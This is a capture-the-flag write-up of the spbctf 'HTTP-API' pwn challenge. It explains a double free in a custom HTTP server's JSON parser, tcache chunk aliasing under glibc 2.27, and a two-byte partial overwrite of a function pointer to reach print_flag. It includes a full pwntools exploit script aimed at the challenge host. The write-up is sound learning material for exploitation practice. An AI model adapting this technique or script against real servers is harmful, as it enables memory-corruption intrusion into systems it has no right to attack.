HTTP-API
HTTP-API
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-04 | Status: Solved Techniques: function_pointer_hijack, heap_chunk_aliasing, partial_overwrite_no_leak, strnlen_nul_truncation, tcache_double_free_no_key_check
Summary
Task: Custom HTTP server (PIE, Full RELRO, glibc 2.27) with JSON parser has double-free in parse_json_kv — closing brace handler calls free() but doesn't break the loop. Solution: tcache double-free to alias request struct with content buffer, partial overwrite of function pointer to print_flag (no leak needed).
HTTP-API — spbctf
Description
"Wow! Web task in my Pwn season!"
A custom HTTP server binary (httpapi.elf) with a built-in JSON key-value parser, served over TCP. The server handles POST requests to /hello, /debug/add/five, and /debug/flag, parsing JSON bodies and dispatching to handler functions via a function pointer in a heap-allocated http_request struct. Source code (httpapi.c) and libc (glibc 2.27) are provided.
Goal: Call print_flag() which reads the FLAG environment variable and prints it. The intended /debug/flag path requires a PASSWORD env var that is not set on the remote server (exits with "No password set!").
Analysis
Binary Protections
- PIE: enabled (all code addresses randomized at page-aligned base)
- Full RELRO: GOT is read-only, no GOT overwrite possible
- NX: stack not executable
- Canary: stack canary present
- libc: glibc 2.27-3ubuntu1.2 — no tcache key/double-free check
Struct Layouts
c read-only • copy allowedtypedef struct { int connection; // offset 0, 4 bytes int content_length; // offset 4, 4 bytes } http_headers; // 8 bytes typedef struct { http_headers headers; // offset 0, 8 bytes void *func; // offset 8, 8 bytes <-- function pointer (target) json_kv *obj; // offset 16, 8 bytes } http_request; // 24 bytes -> malloc(24) -> 0x20 tcache bin typedef struct { size_t key_kind; // 8 bytes size_t value_kind; // 8 bytes void *key; // 8 bytes void *value; // 8 bytes int number; // 4 bytes (+padding) } json_kv; // 40 bytes -> malloc(40) -> 0x30 tcache bin
The Vulnerability: Double Free in parse_json_kv()
In parse_json_kv(), the } handler at line 236-238:
c read-only • copy allowed} else if (chr == '}' && current_state != STATE_STRING) { free(buffer); current_state = STATE_END; }
This calls free(buffer) and sets STATE_END but does NOT break out of the loop. The loop continues: while (index < json_length). If a second } character follows, the condition chr == '}' && current_state != STATE_STRING is still true (because STATE_END != STATE_STRING), so free(buffer) is called again on the same pointer — a classic double free.
In glibc 2.27, tcache has no key field to detect double-frees, so the chunk is inserted into the tcache free list twice: tcache[0x20] → C → C (circular).
Win Function
print_flag() at ELF offset 0xcc7 reads getenv("FLAG") and prints it as an HTTP response. All handler functions (hello_handler at 0xc2e, flag_handler at 0xc8b, add_handler at 0xd0e, index_handler at 0xd7e) and print_flag at 0xcc7 reside within the same 4KB page of the ELF. Since PIE randomizes only the page-aligned base, the low 12 bits of any code address are fixed. This means a 2-byte partial overwrite of a function pointer can redirect from any handler to print_flag without needing a PIE base leak.
Server Loop and Keep-Alive
The main loop allocates per-iteration:
request = malloc(sizeof(http_request))→ malloc(24) → 0x20 chunkobj = malloc(sizeof(json_kv))→ malloc(40) → 0x30 chunkcontent = read_content(stdin, content_length)→ malloc(content_length) → size depends on Content-Length
With Connection: keep-alive, the server loops without exiting, allowing multiple requests that reuse freed tcache chunks.
Solution
Step 1: Double-Free Setup (Request 1)
Send a POST request with body {"number":5}} (13 bytes → malloc(13) → 0x20 chunk C).
The JSON parser processes:
{→ STATE_PASS"number"→ key parsed:→ delimiter5→ number parsed (value_kind=2, number=5)- First
}→free(C), STATE_END - Second
}→free(C)again (double free!)
After this, tcache bin for 0x20 contains: C → C (C's fd points to itself).
The parse completes successfully: current_state == STATE_END, key="number", number=5 — all validation passes.
Step 2: Chunk Aliasing + Partial Overwrite (Request 2)
In the next loop iteration:
request = malloc(24)→ popsCfrom tcache →request = Cobj = malloc(40)→ from 0x30 bin (different size, no conflict)content = malloc(10)→ popsCagain from tcache (C.fd was C) →content = C
Now content == request == C — the content buffer and request struct are aliased to the same heap chunk.
fread writes the 10-byte body into content, which is the same memory as request:
Offset: 0 1 2 3 4 5 6 7 8 9
Body: { " a " : 1 } \0 \xc7 \x0c
Struct: |-- headers (8B) --|-- func low bytes --|
- Bytes 0-7 overwrite
request->headers(connection + content_length) — these are already consumed, so their corruption doesn't matter. - Byte 7 is
\x00(NUL) — this is critical for the JSON parser. - Bytes 8-9 (
\xc7\x0c) overwrite the low 2 bytes ofrequest->functo0x0cc7=print_flagoffset.
The NUL Byte Trick
strnlen(buffer, content_length) returns 7 (stops at the NUL at offset 7), so parse_json_kv only processes {"a":1} — valid JSON that parses cleanly. The address bytes \xc7\x0c at offsets 8-9 are never seen by the parser.
Inside parse_json_kv, free(buffer) is called when } is encountered, which puts the chunk back into tcache. But crucially, free() in glibc 2.27 only writes the fd pointer at offset 0 of the chunk's user data — it does not touch offset 8 where our func pointer overwrite lives.
Step 3: Function Pointer Hijack
process_request(request) executes:
c read-only • copy allowedvoid (*func_ptr)(http_request *) = request->func; func_ptr(request); // calls print_flag()!
The func pointer was originally set to hello_handler (offset 0xc2e) by parse_line. Our 2-byte overwrite changed the low bytes from ...c2e to ...cc7. Since both addresses share the same upper bytes (same ELF page), func now points to print_flag().
print_flag() reads getenv("FLAG") and sends it as an HTTP response.
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ spbctf HTTP-API exploit — tcache double-free + partial overwrite to print_flag. glibc 2.27 has no tcache key check -> plain double free works. All handlers + print_flag share the same ELF page -> 2-byte partial overwrite redirects func pointer without needing a PIE leak. """ import sys, re from pwn import * context.arch = 'amd64' context.log_level = 'info' HOST = sys.argv[1] if len(sys.argv) >= 3 else '109.233.56.90' PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 11733 PRINT_FLAG_LOW2 = b'\xc7\x0c' # ELF offset 0xcc7, little-endian low 2 bytes def req(method, path, body, conn=b'keep-alive'): r = method + b' ' + path + b' HTTP/1.1\r\n' r += b'Content-Type: application/json\r\n' r += b'Content-Length: ' + str(len(body)).encode() + b'\r\n' r += b'Connection: ' + conn + b'\r\n\r\n' r += body return r def main(): io = remote(HOST, PORT) # --- Request 1: double-free a 0x20 content chunk --- # Body: {"number":5}} (13 bytes -> malloc(13) -> 0x20 chunk) # First } frees buffer, second } frees it again io.send(req(b'POST', b'/hello', b'{"number":5}}')) # --- Request 2: alias content==request, overwrite func pointer --- # Body layout: # offset 0-6: {"a":1} (valid JSON, parsed cleanly) # offset 7: \x00 (NUL stops strnlen -> parser ignores rest) # offset 8-9: \xc7\x0c (print_flag low 2 bytes -> overwrites func) body = b'{"a":1}' + b'\x00' + PRINT_FLAG_LOW2 assert len(body) == 10 io.send(req(b'POST', b'/hello', body)) # Read response containing the flag data = b'' try: while True: chunk = io.recv(timeout=2) if not chunk: break data += chunk except EOFError: pass sys.stdout.buffer.write(data) m = re.search(rb'(sc|spbctf|flag)\{[^}]*\}', data, re.I) if m: log.success('FLAG: ' + m.group().decode()) else: log.failure('no flag found in output') io.close() if __name__ == '__main__': main()